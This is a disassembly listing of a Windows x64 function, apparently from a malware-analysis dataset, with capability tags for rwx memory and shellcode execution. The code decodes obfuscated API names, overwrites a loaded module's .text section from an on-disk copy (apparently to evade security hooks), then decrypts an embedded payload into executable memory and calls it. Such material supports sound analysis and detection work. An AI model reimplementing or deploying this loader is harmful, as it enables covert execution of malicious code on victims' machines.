Function at 0x140007bc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
movups xmmword [rsp + 0xb0], xmm6
call fcn.140001570
mov ecx, 0x1dcd6500
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14000809c
movzx eax, byte [0x14001a900]
movzx ecx, byte [0x14001a90a]
mov rdx, qword [0x14001a900]
mov edi, dword [0x14001a948]
shl eax, 8
xor byte [0x14001a94c], dh
movq xmm0, qword [0x14001a940]
or eax, ecx
movzx ecx, byte [0x14001a909]
movq xmm2, rdx
shl eax, 8
pxor xmm0, xmm2
movq qword [0x14001a940], xmm0
or eax, ecx
movzx ecx, byte [0x14001a908]
shl eax, 8
or eax, ecx
lea rcx, str.kernel32.dll
xor edi, eax
mov dword [0x14001a948], edi
call fcn.140007a00
mov rdi, rax
test rax, rax
je 0x1400080a3
movq xmm6, qword [0x14001a900]
movzx ebx, byte [0x14001a900]
lea rdx, [0x14001a930]
movq xmm0, qword [0x14001a930]
movzx ecx, word [0x14001a93c]
movq rax, xmm6
shl ebx, 8
movzx esi, ah
movzx eax, byte [0x14001a90a]
pxor xmm0, xmm6
movq qword [0x14001a930], xmm0
or ebx, eax
movzx eax, byte [0x14001a909]
shl ebx, 8
or ebx, eax
movzx eax, byte [0x14001a908]
shl ebx, 8
or ebx, eax
mov eax, dword [0x14001a938]
xor eax, ebx
mov dword [0x14001a938], eax
movzx eax, word [0x14001a901]
xor ecx, eax
mov word [0x14001a93c], cx
mov rcx, rdi
call fcn.140007970
mov rbp, rax
test rax, rax
je 0x1400080aa
movq xmm0, qword [0x14001a980]
mov qword [0x14001a910], rax
mov rcx, rdi
lea rdx, [0x14001a980]
mov eax, dword [0x14001a988]
xor byte [0x14001a98c], sil
pxor xmm0, xmm6
movq qword [0x14001a980], xmm0
xor eax, ebx
mov dword [0x14001a988], eax
call fcn.140007970
test rax, rax
je 0x1400080b1
lea rbx, [rsp + 0x80]
mov qword [0x14001a920], rax
mov rcx, rbx
call rbp
cmp dword [rsp + 0xa0], 1
je 0x14000809c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rbx
mov ecx, 6
movq xmm0, qword [0x14001a950]
mov qword [rsp + 0x50], rax
mov rsi, rax
xor eax, eax
movq xmm1, qword [0x14001a900]
rep stosd dword [rdi], eax
movzx eax, word [0x14001a958]
movzx edi, word [0x14001a908]
lea rcx, [0x14001a950]
pxor xmm0, xmm1
lea r15, [0x14001a900]
movq qword [0x14001a950], xmm0
xor eax, edi
mov word [0x14001a958], ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rbx
mov r9d, 0x18
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x58], rax
call sub.KERNEL32.dll_K32GetModuleInformation
lea r10, [0x14001a960]
mov rbp, qword [rsp + 0x80]
xor edx, edx
mov rax, r10
lea r8, [r10 + 0x1e]
movsxd rcx, edx
add edx, 1
movzx ecx, byte [r15 + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp r8, rcx
je 0x140007e35
cmp edx, 0xb
jne 0x140007e30
add rax, 2
movzx edx, byte [r15]
xor byte [rcx], dl
cmp r8, rax
je 0x140007e35
mov edx, 1
jmp 0x140007df5
mov rax, rcx
jmp 0x140007df5
xor eax, eax
xor edx, edx
mov rcx, r10
xor r9d, r9d
mov dword [rsp + 0x28], edx
mov r8d, 1
mov edx, 0x80000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], r8d
mov r8d, 0x1000002
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov qword [rsp + 0x20], r9
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd r12, dword [rbp + 0x3c]
mov qword [rsp + 0x40], rax
add r12, rbp
movzx esi, word [r12 + 6]
test si, si
je 0x140007f0c
lea rax, [rsp + 0x7c]
movzx edi, word [r12 + 0x14]
lea r14, [r12 + 0x18]
xor ebx, ebx
mov qword [rsp + 0x48], rax
nop dword [rax + rax]
lea rdx, [rbx + rbx*4]
lea rax, [rdi + r14]
lea r13, [rax + rdx*8]
lea rdx, str..text
mov rcx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140007f80
add rbx, 1
cmp bx, si
jb 0x140007ee0
lea rbx, [0x140009140]
mov r9d, 0x40
mov edx, 0x117b9
xor ecx, ecx
mov r8d, 0x1000
lea rsi, [rbx + 0x117b9]
call qword [0x14001a920]
mov r9, rbx
xor edx, edx
mov rcx, rax
mov rax, rbx
movsxd r8, edx
add edx, 1
movzx r8d, byte [r15 + r8]
xor byte [rax], r8b
lea r8, [rax + 1]
cmp r8, rsi
je 0x140008008
cmp edx, 0xb
jne 0x140008000
add rax, 2
movzx edx, byte [r15]
xor byte [r8], dl
cmp rax, rsi
je 0x140008008
mov edx, 1
jmp 0x140007f3e
mov rdi, qword [rsp + 0x48]
mov ecx, dword [r13 + 0xc]
mov r8d, 0x40
mov dword [rsp + 0x7c], 0
mov edx, dword [r13 + 8]
add rbx, 1
mov r9, rdi
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r13 + 0xc]
mov rax, qword [rsp + 0x40]
mov r8d, dword [r13 + 8]
lea rcx, [rbp + rdx]
add rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov ecx, dword [r13 + 0xc]
mov edx, dword [r13 + 8]
mov r9, rdi
mov r8d, dword [rsp + 0x7c]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx esi, word [r12 + 6]
cmp bx, si
jae 0x140007f0c
movzx edi, word [r12 + 0x14]
jmp 0x140007ee0
mov rax, r8
jmp 0x140007f3e
mov r8d, 0x117b9
mov rdx, r9
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rax
xor eax, eax
movsxd rdx, eax
add eax, 1
movzx edx, byte [r15 + rdx]
xor byte [rbx], dl
lea rdx, [rbx + 1]
cmp rdx, rsi
je 0x140008055
cmp eax, 0xb
jne 0x140008050
add rbx, 2
movzx eax, byte [r15]
xor byte [rdx], al
cmp rsi, rbx
je 0x140008055
mov eax, 1
jmp 0x14000801b
mov rbx, rdx
jmp 0x14000801b
call rcx
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
movups xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
jmp 0x140008080
mov eax, 4
jmp 0x140008080
mov eax, 6
jmp 0x140008080
mov eax, 7
jmp 0x140008080